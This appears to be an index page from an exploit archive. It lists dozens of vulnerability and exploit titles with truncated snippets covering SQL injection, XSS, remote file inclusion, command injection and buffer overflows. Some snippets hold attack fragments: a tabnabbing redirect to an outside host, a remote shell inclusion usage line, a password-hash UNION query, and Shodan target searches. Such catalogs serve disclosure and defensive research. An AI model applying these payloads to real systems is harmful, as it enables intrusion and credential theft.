Octeth Oempro 4.8 - CampaignID SQL Injection

Octeth Oempro 4.8 - CampaignID SQL Injection Exploit Title: Octeth Oempro 4.8 - 'CampaignID' SQL Injection Date: 2020-01-27 Exploit Author: Bruno de Barros Bulle www.xlabs.com.br Vendor Homepage: www2.octeth.com Version: Octeth Oempro v.4.7 and v.4.8 Tested on: Oempro v.4.7 CVE : CVE-2019-19740 A...

Netgear DGN2200 DGND3700 - Admin Password Disclosure

Netgear DGN2200 DGND3700 - Admin Password Disclosure /bin/bash PoC based on CVE-2016-5649 created by Social Engineering Neo. Long Method: https://www.youtube.com/watch?v=f3awG0XPKAs https://www.shodan.io/search?query=DGN2200 = 2,325 possible vulnerable devices...

Wordpress Plugin Wisechat 2.6.3 - Reverse Tabnabbing

Wordpress Plugin Wisechat 2.6.3 - Reverse Tabnabbing Exploit Title: Wordpress Plugin Wisechat if window.opener window.opener.parent.location.replace'http://mtk911.cf/'; if window.parent != window window.parent.location.replace'http://mtk911.cf/'; Open Redirect TEST when you click on that user. Th...

Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities

Dell OpenManage Network Manager 6.2.0.51 SP3 - Multiple Vulnerabilities ''' KL-001-2018-009 : Dell OpenManage Network Manager Multiple Vulnerabilities Title: Dell OpenManage Network Manager Multiple Vulnerabilities Advisory ID: KL-001-2018-009 Publication Date: 2018.11.05 Publication URL:...

libiec61850 1.3 - Stack Based Buffer Overflow

libiec61850 1.3 - Stack Based Buffer Overflow Exploit Title: libiec61850 1.3 - Stack Based Buffer Overflow Date: 2018-11-06 Exploit Author: Dhiraj Mishra Vendor Homepage: http://libiec61850.com/libiec61850/ Software Link: https://github.com/mz-automation/libiec61850 Version: 1.3 Tested on: Linux...

Microsoft SQL Server Management Studio 17.9 - .xel XML External Entity Injection

Microsoft SQL Server Management Studio 17.9 - .xel XML External Entity Injection Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection Date: 2018-10-10 Author: John Page aka hyp3rlinx Website: hyp3rlinx.altervista.org Venodor: www.microsoft.com Software...

Super Cms Blog Pro 1.0 - SQL Injection

Super Cms Blog Pro 1.0 - SQL Injection Exploit Title: Super Cms Blog Pro 1.0 - SQL Injection Dork: N/A Date: 2018-09-24 Vendor Homepage: http://coolscript.cf/ Software Link: https://www.codegrape.com/item/super-cms-blog-pro/22250 Version: 1.0 Category: Webapps Tested on: WiN7x64/KaLiLinuXx64 CVE:...

MyBB ChangUonDyU Plugin 1.0.2 - Cross-Site Scripting

MyBB ChangUonDyU Plugin 1.0.2 - Cross-Site Scripting Exploit Title: MyBB ChangUonDyU Advanced Statistics Plugin v1.0.2 - Cross-Site Scripting Date: 5/25/2018 Author: 0xB9 Twitter: @0xB9Sec Contact: 0xB9atpm.me Software Link: https://community.mybb.com/mods.php?action=view&pid=1125 Version: 1.0.2...

SAP Internet Transaction Server 6200.x - Session Fixation Cross-Site Scripting

SAP Internet Transaction Server 6200.x - Session Fixation Cross-Site Scripting Exploit Title: SAP Internet Transaction Server ITS 6200.X.X - Session Fixation/ Cross-Site Scripting Dork: /scripts/wgate/ Date: 25.05.2018 Exploit Author: J. Carrillo Lencina 0xd0m7 Vendor Homepage: https://www.sap.co...

PowerlogicSchneider Electric IONXXXX Series - Cross-Site Request Forgery

PowerlogicSchneider Electric IONXXXX Series - Cross-Site Request Forgery Exploit Title: Powerlogic Schneider Electric IONXXXX Series - Cross-Site Request Forgery Date: 2018-05-17 Exploit Author: t4rkd3vilz Vendor Homepage: http://www.schneider-electric.com/ Version: ION73XX series, ION75XX series...

Monstra CMS 3.0.4 - Arbitrary Folder Deletion

Monstra CMS 3.0.4 - Arbitrary Folder Deletion Exploit Title: Monstra CMS 3.0.4 allows remote attackers to delete folder via an get request Date: 2018-03-26 Exploit Author: Wenming Jiang Vendor Homepage: https://github.com/monstra-cms/monstra Software Link: https://github.com/monstra-cms/monstra...

Linksys WVBR0 - User-Agent Remote Command Injection

Linksys WVBR0 - User-Agent Remote Command Injection !/usr/bin/python -- coding: utf-8 -- Author: Nixawk CVE-2017-17411 Linksys WVBR0 25 Command Injection """ $ python2.7 exploit-CVE-2017-17411.py Usage: python exploit-CVE-2017-17411.py $ python2.7 exploit-CVE-2017-17411.py http://example.com/ +...

Debut Embedded HTTPd 1.20 - Denial of Service

Debut Embedded HTTPd 1.20 - Denial of Service Exploit Title: Remote un-authenticated DoS in Debut embedded httpd server in Brother printers Date: 11/02/2017 Exploit Author: z00n @0xz00n Vendor Homepage: http://www.brother-usa.com Version: = 1.20 CVE : CVE-2017-16249 Description: The Debut embedde...

Trend Micro OfficeScan 11.0XG (12.0) - Information Disclosure

Trend Micro OfficeScan 11.0XG 12.0 - Information Disclosure + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14085-TRENDMICRO-OFFICESCAN-XG-REMOTE-NT-DOMAIN-PHP-INFO-DISCLOSURE.txt + ISR: ApparitionSec Vendor:...

Trend Micro OfficeScan 11.0XG (12.0) - Private Key Disclosure

Trend Micro OfficeScan 11.0XG 12.0 - Private Key Disclosure + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/CVE-2017-14083-TRENDMICRO-OFFICESCAN-XG-PRE-AUTH-REMOTE-ENCRYPTION-KEY-DISCLOSURE.txt + ISR: ApparitionSec Vendor...

Apache2Triad 1.5.4 - Multiple Vulnerabilities

Apache2Triad 1.5.4 - Multiple Vulnerabilities + Credits: John Page AKA hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/APACHE2TRIAD-SERVER-STACK-v1.5.4-MULTIPLE-CVE.txt + ISR: ApparitionSec Vendor: =============== apache2triad.net...

Sound eXchange (SoX) 14.4.2 - Multiple Vulnerabilities

Sound eXchange SoX 14.4.2 - Multiple Vulnerabilities Sound eXchange SoX multiple vulnerabilities ================ Author : qflb.wu =============== Introduction: ============= SoX is a cross-platform Windows, Linux, MacOS X, etc. command line utility that can convert various formats of computer...

GLPI 0.90.4 - SQL Injection

GLPI 0.90.4 - SQL Injection Exploit Title: Multiple SQL injection vulnerabilities in GLPI 0.90.4 Date: 2016/09/09 Exploit Author: Eric CARTER in/ericcarterengineer - CS c-s.fr Vendor Homepage: http://glpi-project.org Software Link: http://glpi-project.org/spip.php?article3 Version: 0.90.4 Tested...

Subsonic 6.1.1 - Server-Side Request Forgery

Subsonic 6.1.1 - Server-Side Request Forgery + Credits: John Page a.k.a hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-SERVER-SIDE-REQUEST-FORGERY.txt + ISR: ApparitionSec Vendor: ================ www.subsonic.org Product:...

LightDM (Ubuntu 16.0416.10) - Guest Account Local Privilege Escalation

LightDM Ubuntu 16.0416.10 - Guest Account Local Privilege Escalation Source: https://blogs.securiteam.com/index.php/archives/3134 Vulnerability Summary The following advisory describes a local privilege escalation via LightDM found in Ubuntu versions 16.10 / 16.04 LTS. Ubuntu is an open source...

D-Link DWR-116 DWR-116A1 - Arbitrary File Download

D-Link DWR-116 DWR-116A1 - Arbitrary File Download Title: D-Link DWR-116 Arbitrary File Download Vendor: D-Link www.dlink.com Affected models: DWR-116 / DWR-116A1 Tested on: V1.01EU, V1.00CPb10, V1.05AU CVE: CVE-2017-6190 Date: 04.07.2016 Author: Patryk Bogdan @patrykbogdan Description: D-Link...

SpiceWorks 7.5 TFTP - Remote File Overwrite Upload

SpiceWorks 7.5 TFTP - Remote File Overwrite Upload + Credits: John Page AKA HYP3RLINX + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/SPICEWORKS-IMPROPER-ACCESS-CONTROL-FILE-OVERWRITE.txt + ISR: APPARITIONSEC Vendor: ================== www.spiceworks.com...

HP Smart Storage Administrator 2.30.6.0 - Remote Command Injection (Metasploit)

HP Smart Storage Administrator 2.30.6.0 - Remote Command Injection Metasploit This module requires Metasploit: http://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 "HP Smart Storage Administrator Remote Command...

OpenSSL 1.1.0 - Remote Client Denial of Service

OpenSSL 1.1.0 - Remote Client Denial of Service // Source: https://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/ / SSL server demonstration program Copyright C 2006-2015, ARM Limited, All Rights Reserved...

Axis Network Cameras - Multiple Vulnerabilities

Axis Network Cameras - Multiple Vulnerabilities | | | | | | | | | | | | / | '\ \ /\ / / \ | | |/ | ' / | 6079 Smith W | | | \ V V / / | | | | | | \ \ doubleplusungood /|| // ||||,|./|/ owning some telescreens... Security Adivisory 2016-04-09 www.orwelllabs.com twt:@orwelllabs I. ADVISORY...

BulletProof FTP Client 2010 - Local Buffer Overflow (DEP Bypass)

BulletProof FTP Client 2010 - Local Buffer Overflow DEP Bypass ----------------------------------------------------------------------------- Exploit Title: BulletProof FTP Client 2010 - Buffer Overflow SEH Date: Feb 15 2015 Exploit Author: Gabor Seljan Software Link: http://www.bpftp.com/ Version...

WoltLab Community Gallery - Persistent Cross-Site Scripting

WoltLab Community Gallery - Persistent Cross-Site Scripting Vulnerability title: Community Gallery - Stored Cross-Site Scripting vulnerability Product: Community Gallery Vendor: https://www.woltlab.com Affected version: Community Gallery 2.0 before 12/10/2014 Download link:...

Microsoft Windows - OLE Package Manager SandWorm

Microsoft Windows - OLE Package Manager SandWorm !/usr/bin/env python import os import zipfile import sys ''' Full Exploit: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/35019.tar.gz Very quick and ugly SandWorm CVE-2014-4114 exploit builder Exploit Title:...

Fortigate Firewalls - Cross-Site Request Forgery

Fortigate Firewalls - Cross-Site Request Forgery Vulnerability ID: CVE-2013-1414 Vulnerability Type: CSRF Cross-Site Request Forgery Product: All Fortigate Firewalls Vendor: Fortinet http://www.fortinet.com Vulnerable Version:...

Nginx 1.3.9 1.4.0 - Denial of Service (PoC)

Nginx 1.3.9 1.4.0 - Denial of Service PoC Exploit Title: nginx v1.3.9-1.4.0 DOS POC CVE-2013-2028 Google Dork: CVE-2013-2028 Date: 16.05.2013 Exploit Author: Mert SARICA - mert . sarica @ gmail . com - http://www.mertsarica.com Vendor Homepage: http://nginx.org/ Software Link:...

Joomla! 3.0.3 - remember.php PHP Object Injection

Joomla! 3.0.3 - remember.php PHP Object Injection ------------------------------------------------------------------ Joomla! decrypt$str; 45. $cookieData = @unserialize$str; User input passed through cookies is not properly sanitized before being used in an unserialize call at line 45. This could...

BabyGekko 1.2.2e - Multiple Vulnerabilities

BabyGekko 1.2.2e - Multiple Vulnerabilities Advisory ID: HTB23122 Product: BabyGekko Vendor: babygekko.com Vulnerable Versions: 1.2.2e and probably prior Tested Version: 1.2.2e Vendor Notification: October 24, 2012 Vendor Patch: November 4, 2012 Public Disclosure: November 14, 2012 Vulnerability...

Invision Power Board (IP.Board) 3.3.4 - Unserialize() PHP Code Execution

Invision Power Board IP.Board 3.3.4 - Unserialize PHP Code Execution ?php / ---------------------------------------------------------------- Invision Power Board = 3.3.4 "unserialize" PHP Code Execution ---------------------------------------------------------------- author..............: Egidio...

Final Draft 8 - Multiple Stack Buffer Overflows (Metasploit)

Final Draft 8 - Multiple Stack Buffer Overflows Metasploit Name : Final Draft 8 Multiple Stack Buffer Overflows Vendor Website : http://www.finaldraft.com/index.php Date Released : 29/11/2011 Affected Software : Final Draft in in in in in in in By crafting a file that contains more than 10,032...

OCS Inventory NG 2.0.1 - Persistent Cross-Site Scripting

OCS Inventory NG 2.0.1 - Persistent Cross-Site Scripting OCS Inventory NG 2.0.1 - Persistent XSS CVE-2011-4024 ------------------------------------------------------- Software : Open Computer and Software OCS Inventory NG Download : http://www.ocsinventory-ng.org/ Discovered by : Nicolas DEROUET...

Guru JustAnswer Professional 1.25 - Multiple SQL Injections

Guru JustAnswer Professional 1.25 - Multiple SQL Injections / / / \ \ \ \ \ / / \\ \ \ \ \ // /// \ \ / / \ //|\ / \ \ \ \ \ \ / / \ \ / / \ | | | \ | | || | | |/ / \ V / || |\ V / / \ | / \ | /| | | || / | | | | . | ' || / | || // \ // \|||/|||||||||\ .WEB.ID...

HP LaserJet - Directory Traversal in PJL Interface

HP LaserJet - Directory Traversal in PJL Interface n.runs AG http://www.nruns.com/ securityatnruns.com n.runs-SA-2010.003 16-Nov-2010 Vendor: Hewlett-Packard, http://www.hp.com Affected Products: Various HP LaserJet MFP devices See HP advisory 3 for the complete list Vulnerability: Directory...

IBM OmniFind Crawler - Denial of Service

IBM OmniFind Crawler - Denial of Service Crawler endless loop CVE-2010-3899 The crawler has no recursion depth limit. A site with dynamic parameter manipulation can cause an endless loop. This loop will block the crawler thread and use permanent server resources. Too many blocks can lead to a...

list Web - addlink.php?id SQL Injection

list Web - addlink.php?id SQL Injection | | list Web addlink.php id Remote SQL Injection Vulnerability | | |-------------------- Hussin X -------------------| | | Author: Hussin X | | Home : WwW.IQ-ty.CoM | | email: darkangelg85atYahooDoTcom | | | | | | script : http://maker.ir | | DorK :...

Samba 3.0.10 3.3.5 - Format String Security Bypass

Samba 3.0.10 3.3.5 - Format String Security Bypass The following proof of concept is available: smb: \ put aa%3Fbb...

Les Visiteurs (Visitors) 2.0 - config.inc.php File Inclusion

Les Visiteurs Visitors 2.0 - config.inc.php File Inclusion ============================================================================================== lesvisit visiteurs = v2.0 lvcincludedir Remote File Include Vulnerability...

Invision Power Board 2.1 2.1.6 - SQL Injection (2)

Invision Power Board 2.1 2.1.6 - SQL Injection 2 !/usr/bin/perl use LWP::UserAgent; $ua = LWP::UserAgent-new; &header; if @ARGV ".$server."result.txt"; for$id = 1; $id = $kol; $id++ $ownquery = "UNION SELECT convergepasshash,1,1,1 FROM ".$prefix."membersconverge WHERE convergeid=".$id."/";...

Auction 1.3m - phpbb_root_path Remote File Inclusion

Auction 1.3m - phpbbrootpath Remote File Inclusion !/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd...

KDE KMail 1.7.1 - HTML EMail Remote Email Content Spoofing

KDE KMail 1.7.1 - HTML EMail Remote Email Content Spoofing source: https://www.securityfocus.com/bid/13085/info A remote email message content spoofing vulnerability affects KDE KMail. This issue is due to a failure of the application to properly sanitize HTML email messages. An attacker may...

Linux Kernel 2.6.x - IPTables Logging Rules Integer Underflow Remote (PoC)

Linux Kernel 2.6.x - IPTables Logging Rules Integer Underflow Remote PoC / source: https://www.securityfocus.com/bid/11488/info It is reported that an integer underflow vulnerability is present in the iptables logging rules of the Linux kernel 2.6 branch. A remote attacker may exploit this...

phpHeaven phpMyChat 0.14.5 - admin.php3 Arbitrary File Access

phpHeaven phpMyChat 0.14.5 - admin.php3 Arbitrary File Access source: https://www.securityfocus.com/bid/10556/info phpHeaven phpMyChat is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and design flaws. The following specific...

Webfroot Shoutbox 2.32 - Expanded.php Remote Command Execution

Webfroot Shoutbox 2.32 - Expanded.php Remote Command Execution source: https://www.securityfocus.com/bid/7772/info Shoutbox is prone to an issue that may result in the execution of attacker-supplied code. The vulnerability exists due to insufficient sanitization of input into the expanded.php...

Microsoft IIS 5.0 - WebDAV Remote

Microsoft IIS 5.0 - WebDAV Remote // / IIS 5.0 WebDAV -Proof of concept- / / Bug: CAN-2003-0109 / / By Roman Medina-Heigl Hernandez / / aka RoMaNSoFt / / Madrid, 23.Mar.2003 / / ================================= / / Public release. Version 1. / / --------------------------------- / // /...

CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting

CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting Exploit Title: CHIYU BF430 TCP IP Converter - Stored Cross-Site Scripting Google Dork: In Shodan search engine, the filter is "CHIYU" Date: 2020-02-11 Exploit Author: Luca.Chiou Vendor Homepage: https://www.chiyu-t.com.tw/en/ Version: BF4...

piSignage 2.6.4 - Directory Traversal

piSignage 2.6.4 - Directory Traversal Exploit Title: piSignage 2.6.4 - Directory Traversal Date: 2019-11-13 Exploit Author: JunYeong Ko Vendor Homepage: https://pisignage.com/ Version: piSignage before 2.6.4 Tested on: piSignage before 2.6.4 CVE : CVE-2019-20354 Summary: The web application...